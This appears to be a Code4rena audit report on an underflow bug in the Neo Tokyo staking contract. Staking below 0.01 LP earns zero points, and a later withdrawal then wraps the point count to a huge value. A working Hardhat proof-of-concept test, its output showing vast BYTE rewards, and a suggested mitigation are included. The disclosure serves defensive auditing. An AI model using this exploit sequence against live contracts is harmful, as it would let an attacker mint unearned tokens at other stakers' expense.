Neo Tokyo contest - LegendFenGuin's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1626

Vulnerability details

Impact

There is a logic in the _stakeLP function of NeoTyokoStaker that rewards points based on the amount of LP staked. Points are an important variable that represents the proportion of rewards in getPoolReward.

//NeoTyokoStaker.sol

//_stakeLP
unchecked {
			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}

The logic for calculating points in _stakeLP is as follows:

uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

According to this logic, if the staking amount is less than 1e18/100, the assigned points become 0. This means that if an LP quantity less than 0.01 is staked, the staking quantity will increase due to stakerLPPosition[msg.sender].amount += amount;, but the points will not increase.

//NeoTyokoStaker.sol

//_withdrawLP
unchecked {
			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points; // @audit <- overflow

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

This causes a serious problem in _withdrawLP.

It calculates points using the same logic as _stakeLP, but this time the amount is the quantity to be withdrawn.

By repeating this process for the amount that does not generate points, and then withdrawing the amount that generates points, an overflow occurs in lpPosition.points -= points;.

Although the code uses solidity version 0.8 or higher, the unchecked statement causes an extremely large number of points to be allocated.

Attackers can exploit this to mint a large amount of BYTE close to type(uint256).max.

Proof of Concept

describe('overflow Bob point', function () {
			let aliceStakeTime, bobStakeTime;
			beforeEach(async () => {

				// Configure the LP token contract address on the staker.
				await NTStaking.connect(owner.signer).configureLP(LPToken.address);

				// Stake Alice's LP tokens for 30 days.
				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('40'),
					0,
					0
				);
				let priorBlockNumber = await ethers.provider.getBlockNumber();
				let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				aliceStakeTime = priorBlock.timestamp;


				// Stake Bob's LP tokens for 1080 days.
				await NTStaking.connect(bob.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['1080'],
					ethers.utils.parseEther('0.009'),
					0,
					0
				);

				// Stake Bob's LP tokens for 1080 days.
				await NTStaking.connect(bob.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['1080'],
					ethers.utils.parseEther('0.009'),
					0,
					0
				);
				priorBlockNumber = await ethers.provider.getBlockNumber();
				priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				bobStakeTime = priorBlock.timestamp;

			});
            
			it('overflow point give big reward', async function () {
                
				let bobPosition = await NTStaking.getStakerPositions(bob.address);
                console.log("Bob position before withdraw\n", bobPosition.stakedLPPosition);

				// Withdraw Bob's LP tokens.
				await ethers.provider.send('evm_setNextBlockTimestamp', [
					bobStakeTime + (60 * 60 * 24 * 1080)
				]);
				await NTStaking.connect(bob.signer).withdraw(
					ASSETS.LP.id,
					ethers.utils.parseEther('0.01')
				);

				bobPosition = await NTStaking.getStakerPositions(bob.address);
                console.log("Bob position after withdraw\n", bobPosition.stakedLPPosition);

				let bobBalance = await NTBytes2_0.balanceOf(bob.address);
                console.log("BOB Balance Before getReward\n", bobBalance);

				// print reward
				await NTCitizenDeploy.connect(bob.signer).getReward();
				bobPosition = await NTStaking.getStakerPositions(bob.address);
				bobBalance = await NTBytes2_0.balanceOf(bob.address);
                console.log("Bob Balance after getReward\n", bobBalance);

			});

		});

Through this test file, you can examine the process of exploitation.

Here are the results of the test:

Bob position before withdraw
[
BigNumber { value: "18000000000000000" },
BigNumber { value: "2771932905" },
BigNumber { value: "0" },
BigNumber { value: "400" },
amount: BigNumber { value: "18000000000000000" },
timelockEndTime: BigNumber { value: "2771932905" },
points: BigNumber { value: "0" }, // <-- Bob's points are 0
multiplier: BigNumber { value: "400" }
]
Bob position after withdraw
[
BigNumber { value: "8000000000000000" },
BigNumber { value: "2771932905" },
BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639932" },
BigNumber { value: "400" },
amount: BigNumber { value: "8000000000000000" },
timelockEndTime: BigNumber { value: "2771932905" },
points: BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639932" }, // <-- Bob's points have become a very large number.
multiplier: BigNumber { value: "400" }
]
BOB Balance Before getReward
BigNumber { value: "4562000000000000000000" }
Bob Balance after getReward
BigNumber { value: "69278163583892087165355563875173932981718051135232731039855445030" } // <-- Bob has acquired a lot of BYTE.

Tools Used

VS Code

Recommended Mitigation Steps

To prepare for the possibility of overflow, we need to remove the unchecked statement in the withdraw function. However, this could harm the platform's usability for regular users. Therefore, it is necessary to use a denominator of 1e5 or higher when calculating points at stake.